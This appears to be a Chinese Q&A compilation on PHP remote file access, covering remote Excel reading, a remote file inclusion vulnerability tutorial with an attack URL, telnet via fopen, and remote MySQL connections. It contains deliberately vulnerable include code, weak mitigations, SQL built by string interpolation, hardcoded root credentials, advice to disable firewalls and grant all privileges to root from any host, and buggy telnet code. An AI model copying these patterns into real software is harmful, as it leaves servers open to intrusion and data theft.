php远程访问文件
Ⅰ php远程读取excel文件,怎么读取
先用file_get_contents
或者curl把文件取回来
用phpexcel打开即可
Ⅱ PHP 网络开发详解之远程文件包含漏洞
以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。
复制代码
代码如下:
<?php
$file_name
=
$_GET["filename"];
//获得当前文件名
include("$file_name
");
//包含文件
//一些其他操作
?>
这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning:
include(.php)
[function.include]:
failed
to
open
stream:
No
such
file
or
directory
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
Warning:
include()
[function.include]:
Failed
opening
'.php'
for
inclusion
(include_path='.;C:\Program
Files\xampp\php\pear\')
in
C:\Program
Files\xampp\htdocs\Bugs\test6.php
on
line
3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
复制代码
代码如下:
<?php
echo
"hello
world!";
?>
这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
复制代码
代码如下:
<?php
$file_name
=
$_GET["filename"];
//获得当前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>
修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
复制代码
代码如下:
<?php
$file_name
=
str_replace('/',
'',
$_GET["filename"]);
//获得当前文件名
if(!@include("$file_name.php"))
//包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>
这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt
时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
Ⅲ 如何通过php连接远程主机并操作
一、最佳方案是在77机器上安装apache和php
二、可以通过管道控制使用telnet登录77号机执行命令并获取结果,ssh连接本人没有做过,telnet方法如下:
$f=fopen("telnet://192.168.0.77","rw");
$s=fgets($fp);
fputs($fp,"root");
$s=fgets($fp);
fputs($fp,"pass");
$s=fgets($fp);
fputs($fp,"df -h");
while(!feof($fp)){
$fp=fgets($fp);
echo $s;
}
fclose($fp);
手机输入真累~~~
Ⅳ PHP远程读取excel文件,怎么读取
PHPExcel 通过 PHPExcel_Shared_OLERead 类的 read 方法读取文件
但 read 方法里使用了 is_readable 函数来确认文件是否存在,而 is_readable 不能作用于 url
所以不可直接远程读取
但若绕过 is_readable 函数的话,就是可以的
public function read($sFileName)
{
// Check if file exists and is readable
if(!is_readable($sFileName)) {
throw new Exception("Could not open " . $sFileName . " for reading! File does not exist, or it is not readable.");
}
// Get the file data
$this->data = file_get_contents($sFileName);
$conn=mysql_connect('主机','数据库名','密码');将’主机‘改为IP号,是可以远程访问数据库的。
前提是需要:
1、关闭所访问的主机的防火墙。(不然其他用户无法访问主机)
2、设置主机上的数据库的访问权限,即允许其他用户访问数据库。
MySql数据库的访问权限设置:在mysql命令行中输入命令 grantallon*.*toroot@'%'identifiedbypassword; 其中password是数据库的密码。
3、该步骤最关键,得保证与主机之间的线路是通的(否则永远也连不上)。
看了,LZ提出的问题后,亲自编程序试了下,程序如下:
上述程序即可,用于测试。
如有问题,请再留言。
Ⅵ php连接远程数据库
在php中如果要连接远程数据库连接方法很简单,只要把本地连接localhost或127.0.0.1改成指定远程服务器一IP地址或者直接域名即可。
语法
mysql_connect(servername,username,password);
例子
在下面的例子中,我们在一个变量中($con)存放了在脚本中供稍后使用的连接。如果连接失败,将执行"die"部分:
代码如下:
<?php
$con=mysql_connect("localhost","peter","abc123");
if(!$con)
{
die('Couldnotconnect:'.mysql_error());
}
//somecode
?>
上面是连接本地数据库,下面把localhost改成远程IP即可了
实例 代码如下:
$conn=mysql_connect('http://boaer.com','root','123456888');
if(!$conn)echo"失败!";
elseecho"成功!";
//从表中提取信息的sql语句
$sql="SELECT*FROMuserwhereuserName='$user_name'";
//执行sql查询
$result=mysql_db_query('info',$sql,$conn);
//获取查询结果
$row=mysql_fetch_row($result);
mysql_close();
Ⅶ 请问php如何像打开本地文件一样打开远程ftp服务器上的文件
<?php
$handle = fopen("/home/rasmus/file.txt", "r");
$handle = fopen("/home/rasmus/file.gif", "wb");
$handle = fopen("http://www.example.com/", "r");
$handle = fopen("ftp://user:[email protected]/somefile.txt", "w");
?>
这样不就好了,
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
之后你就可以直接查询php的手册 ,,fopen fwrite file_get_content file_put_content 这几个函数就好了